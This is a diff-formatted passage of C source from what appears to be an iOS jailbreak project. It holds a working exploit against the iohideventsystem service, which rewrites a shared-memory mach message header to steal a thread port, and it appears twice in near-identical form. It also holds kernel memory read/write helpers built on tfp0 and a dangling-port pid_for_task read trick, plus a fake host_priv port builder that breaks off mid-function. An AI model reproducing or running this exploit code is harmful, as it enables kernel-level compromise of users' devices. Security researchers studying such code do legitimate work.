if (err != KERN_SUCCESS) {
|
||||
printf("failed to open hideventsystem connection\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* clear the cache */
|
||||
err = io_hideventsystem_clear_service_cache(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to clear service cache, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* select the list of desired devices */
|
||||
void* matching_out = NULL;
|
||||
int matching_out_len = 0;
|
||||
void* service_ids_out = NULL;
|
||||
int service_ids_out_len = 0;
|
||||
err = io_hideventsystem_copy_matching_services(
|
||||
connection_port,
|
||||
NULL,
|
||||
0,
|
||||
&matching_out,
|
||||
&matching_out_len,
|
||||
&service_ids_out,
|
||||
&service_ids_out_len);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to copy matching services, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (matching_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
|
||||
}
|
||||
|
||||
if (service_ids_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
|
||||
}
|
||||
|
||||
printf("copied matching services\n");
|
||||
|
||||
mach_port_t notification_port = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to allocate receive right for notification port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("allocated a recieve right for notifications: 0x%x\n", notification_port);
|
||||
|
||||
mach_port_t queue_memory_entry = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_queue_create(
|
||||
connection_port,
|
||||
notification_port,
|
||||
0x8000,
|
||||
&queue_memory_entry);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to create queue, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("queue memory entry port: 0x%x\n", queue_memory_entry);
|
||||
|
||||
printf("pid %d\n", getpid());
|
||||
|
||||
// map the queue:
|
||||
mach_vm_address_t queue_address = 0;
|
||||
err = mach_vm_map(
|
||||
mach_task_self(),
|
||||
&queue_address, // &address
|
||||
(mach_vm_size_t)0x9000, // size
|
||||
0xfff, // mask
|
||||
1, // flags
|
||||
queue_memory_entry, // object
|
||||
0, // offset
|
||||
0, // copy
|
||||
3, // cur_prot
|
||||
3, // max_prot
|
||||
2);// inheritance
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_vm_map failed: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("mapped queue: %p\n", (void*)queue_address);
|
||||
|
||||
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
|
||||
|
||||
printf("got the shared memory msg mapped at: %p\n", shm_msg);
|
||||
printf("%08x %08x %08x\n", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
|
||||
printf("%08x %08x %08x\n", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
|
||||
|
||||
uint32_t saved_bits = shm_msg->msgh_bits;
|
||||
uint32_t saved_local_port = shm_msg->msgh_local_port;
|
||||
uint32_t saved_msgh_id = shm_msg->msgh_id;
|
||||
|
||||
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
|
||||
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
|
||||
shm_msg->msgh_id = 0x12341234;
|
||||
|
||||
// start the queue
|
||||
err = io_hideventsystem_queue_start(
|
||||
connection_port);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to start the event queue\n");
|
||||
}
|
||||
|
||||
printf("started queue\n");
|
||||
|
||||
// wait to receive a message
|
||||
printf("if nothing happens here for a while, interact with the screen\n");
|
||||
|
||||
mach_msg_header_t* received_msg = malloc(0x1000);
|
||||
|
||||
err = mach_msg(
|
||||
received_msg,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
0x1000,
|
||||
notification_port,
|
||||
0,
|
||||
0);
|
||||
printf("mach_msg returned\n");
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("tried to receive a message on the notification port but failed, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("msgh_id of received notification message: %x\n", received_msg->msgh_id);
|
||||
printf("did we get an interesting port? 0x%x\n", received_msg->msgh_remote_port);
|
||||
|
||||
mach_port_t stolen_port = received_msg->msgh_remote_port;
|
||||
|
||||
// let's get the type of that port
|
||||
natural_t ktype = 0;
|
||||
mach_vm_address_t kaddr = 0;
|
||||
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to get mach port ktype\n");
|
||||
sleep(100);
|
||||
}
|
||||
|
||||
printf("kernel object type: %d\n", ktype);
|
||||
|
||||
// is that a thread port?
|
||||
if (ktype != 1) {
|
||||
printf("not a thread port...\n");
|
||||
}
|
||||
|
||||
|
||||
// cleanup:
|
||||
|
||||
// fix up the message:
|
||||
shm_msg->msgh_bits = saved_bits;
|
||||
shm_msg->msgh_local_port = saved_local_port;
|
||||
shm_msg->msgh_id = saved_msgh_id;
|
||||
|
||||
err = io_hideventsystem_queue_stop(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to stop the queue\n");
|
||||
}
|
||||
|
||||
// unmap the queue
|
||||
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
|
||||
|
||||
// drop the resources:
|
||||
mach_port_deallocate(mach_task_self(), queue_memory_entry);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), connection_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), notification_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), a_receive_right);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
|
||||
return stolen_port;
|
||||
mach_port_t hid_event_queue_exploit()
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
/* connect to the com.apple.iohideventsystem service */
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
LOG("failed to lookup service");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("got service port: 0x%x", service_port);
|
||||
|
||||
/* open a client connection */
|
||||
|
||||
mach_port_t a_receive_right = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
|
||||
LOG("allocated a receive right 0x%x, we'll give hideventsystem a send to this", a_receive_right);
|
||||
|
||||
mach_port_t connection_port = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_open(
|
||||
service_port,
|
||||
mach_task_self(),
|
||||
3,
|
||||
NULL,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
a_receive_right,
|
||||
&connection_port);
|
||||
|
||||
LOG("err: %x", err);
|
||||
LOG("connection_port: %x", connection_port);
|
||||
LOG("a_receive_right: %x", a_receive_right);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to open hideventsystem connection");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* clear the cache */
|
||||
err = io_hideventsystem_clear_service_cache(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to clear service cache, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* select the list of desired devices */
|
||||
void* matching_out = NULL;
|
||||
int matching_out_len = 0;
|
||||
void* service_ids_out = NULL;
|
||||
int service_ids_out_len = 0;
|
||||
err = io_hideventsystem_copy_matching_services(
|
||||
connection_port,
|
||||
NULL,
|
||||
0,
|
||||
&matching_out,
|
||||
&matching_out_len,
|
||||
&service_ids_out,
|
||||
&service_ids_out_len);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to copy matching services, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (matching_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
|
||||
}
|
||||
|
||||
if (service_ids_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
|
||||
}
|
||||
|
||||
LOG("copied matching services");
|
||||
|
||||
mach_port_t notification_port = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right for notification port");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("allocated a recieve right for notifications: 0x%x", notification_port);
|
||||
|
||||
mach_port_t queue_memory_entry = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_queue_create(
|
||||
connection_port,
|
||||
notification_port,
|
||||
0x8000,
|
||||
&queue_memory_entry);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to create queue, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("queue memory entry port: 0x%x", queue_memory_entry);
|
||||
|
||||
LOG("pid %d", getpid());
|
||||
|
||||
// map the queue:
|
||||
mach_vm_address_t queue_address = 0;
|
||||
err = mach_vm_map(
|
||||
mach_task_self(),
|
||||
&queue_address, // &address
|
||||
(mach_vm_size_t)0x9000, // size
|
||||
0xfff, // mask
|
||||
1, // flags
|
||||
queue_memory_entry, // object
|
||||
0, // offset
|
||||
0, // copy
|
||||
3, // cur_prot
|
||||
3, // max_prot
|
||||
2); // inheritance
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_map failed: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("mapped queue: %p", (void*)queue_address);
|
||||
|
||||
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
|
||||
|
||||
LOG("got the shared memory msg mapped at: %p", shm_msg);
|
||||
LOG("%08x %08x %08x", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
|
||||
LOG("%08x %08x %08x", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
|
||||
|
||||
uint32_t saved_bits = shm_msg->msgh_bits;
|
||||
uint32_t saved_local_port = shm_msg->msgh_local_port;
|
||||
uint32_t saved_msgh_id = shm_msg->msgh_id;
|
||||
|
||||
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
|
||||
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
|
||||
shm_msg->msgh_id = 0x12341234;
|
||||
|
||||
// start the queue
|
||||
err = io_hideventsystem_queue_start(
|
||||
connection_port);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to start the event queue");
|
||||
}
|
||||
|
||||
LOG("started queue");
|
||||
|
||||
// wait to receive a message
|
||||
LOG("if nothing happens here for a while, interact with the screen");
|
||||
|
||||
mach_msg_header_t* received_msg = malloc(0x1000);
|
||||
|
||||
err = mach_msg(
|
||||
received_msg,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
0x1000,
|
||||
notification_port,
|
||||
0,
|
||||
0);
|
||||
LOG("mach_msg returned");
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("tried to receive a message on the notification port but failed, err: %x", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("msgh_id of received notification message: %x", received_msg->msgh_id);
|
||||
LOG("did we get an interesting port? 0x%x", received_msg->msgh_remote_port);
|
||||
|
||||
mach_port_t stolen_port = received_msg->msgh_remote_port;
|
||||
|
||||
// let's get the type of that port
|
||||
natural_t ktype = 0;
|
||||
mach_vm_address_t kaddr = 0;
|
||||
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get mach port ktype");
|
||||
sleep(100);
|
||||
}
|
||||
|
||||
LOG("kernel object type: %d", ktype);
|
||||
|
||||
// is that a thread port?
|
||||
if (ktype != 1) {
|
||||
LOG("not a thread port...");
|
||||
}
|
||||
|
||||
// cleanup:
|
||||
|
||||
// fix up the message:
|
||||
shm_msg->msgh_bits = saved_bits;
|
||||
shm_msg->msgh_local_port = saved_local_port;
|
||||
shm_msg->msgh_id = saved_msgh_id;
|
||||
|
||||
err = io_hideventsystem_queue_stop(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to stop the queue");
|
||||
}
|
||||
|
||||
// unmap the queue
|
||||
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
|
||||
|
||||
// drop the resources:
|
||||
mach_port_deallocate(mach_task_self(), queue_memory_entry);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), connection_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), notification_port);
|
||||
|
||||
mach_port_destroy(mach_task_self(), a_receive_right);
|
||||
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
|
||||
return stolen_port;
|
||||
}
|
||||
|
||||
@@ -1,269 +0,0 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "kutils.h"
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port) {
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port) {
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) {
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
int have_kmem_read() {
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
int have_kmem_write() {
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void wk32(uint64_t kaddr, uint32_t val) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_write(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(vm_offset_t)&val,
|
||||
(mach_msg_type_number_t)sizeof(uint32_t));
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void wk64(uint64_t kaddr, uint64_t val) {
|
||||
uint32_t lower = (uint32_t)(val & 0xffffffff);
|
||||
uint32_t higher = (uint32_t)(val >> 32);
|
||||
wk32(kaddr, lower);
|
||||
wk32(kaddr+4, higher);
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
printf("kmem_read_port not set, have you called prepare_rk?\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr) {
|
||||
kern_return_t err;
|
||||
uint32_t val = 0;
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(mach_vm_size_t)sizeof(uint32_t),
|
||||
(mach_vm_address_t)&val,
|
||||
&outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (outsize != sizeof(uint32_t)){
|
||||
printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32(uint64_t kaddr) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
printf("attempt to read kernel memory but no kernel memory read primitives available\n");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t rk64(uint64_t kaddr) {
|
||||
uint64_t lower = rk32(kaddr);
|
||||
uint64_t higher = rk32(kaddr+4);
|
||||
uint64_t full = ((higher<<32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_write(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(vm_offset_t)buffer,
|
||||
(mach_msg_type_number_t)length);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
|
||||
kern_return_t err;
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(mach_vm_size_t)length,
|
||||
(mach_vm_address_t)buffer,
|
||||
&outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
if (outsize != length){
|
||||
printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const uint64_t kernel_address_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
|
||||
if (dest >= kernel_address_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*) src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc_wired(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("allocated address: %llx\n", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
printf("address to wire: %llx\n", addr);
|
||||
|
||||
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
void kmem_free(uint64_t kaddr, uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
#ifndef kmem_h
|
||||
#define kmem_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t *data,
|
||||
mach_msg_type_number_t *dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate (
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect (
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
uint32_t rk32(uint64_t kaddr);
|
||||
uint64_t rk64(uint64_t kaddr);
|
||||
|
||||
void wk32(uint64_t kaddr, uint32_t val);
|
||||
void wk64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
|
||||
void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
int have_kmem_read(void);
|
||||
int have_kmem_write(void);
|
||||
|
||||
#endif
|
||||
@@ -1,89 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kutils.h"
|
||||
#include "kmem.h"
|
||||
#include "QiLin.h"
|
||||
#include "offsets.h"
|
||||
#include "find_port.h"
|
||||
|
||||
uint64_t the_realhost;
|
||||
|
||||
uint64_t cached_task_self_addr = 0;
|
||||
uint64_t task_self_addr() {
|
||||
if (cached_task_self_addr == 0) {
|
||||
cached_task_self_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
printf("task self: 0x%llx\n", cached_task_self_addr);
|
||||
}
|
||||
return cached_task_self_addr;
|
||||
}
|
||||
|
||||
uint64_t ipc_space_kernel() {
|
||||
return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
|
||||
}
|
||||
|
||||
uint64_t current_thread() {
|
||||
uint64_t thread_port = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
}
|
||||
|
||||
uint64_t find_kernel_base() {
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
the_realhost = realhost;
|
||||
|
||||
uint64_t base = realhost & ~0xfffULL;
|
||||
// walk down to find the magic:
|
||||
for (int i = 0; i < 0x10000; i++) {
|
||||
if (rk32(base) == 0xfeedfacf) {
|
||||
return base;
|
||||
}
|
||||
base -= 0x1000;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
|
||||
|
||||
// build a fake host priv port
|
||||
mach_port_t fake_host_priv() {
|
||||
if (fake_host_priv_port != MACH_PORT_NULL) {
|
||||
return fake_host_priv_port;
|
||||
}
|
||||
// get the address of realhost:
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
// allocate a port
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to allocate port\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// get a send right
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
// locate the port
|
||||
uint64_t port_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
|
||||
|
||||
// change the type of the port
|
||||
#define IKOT_HOST_PRIV 4
|
||||
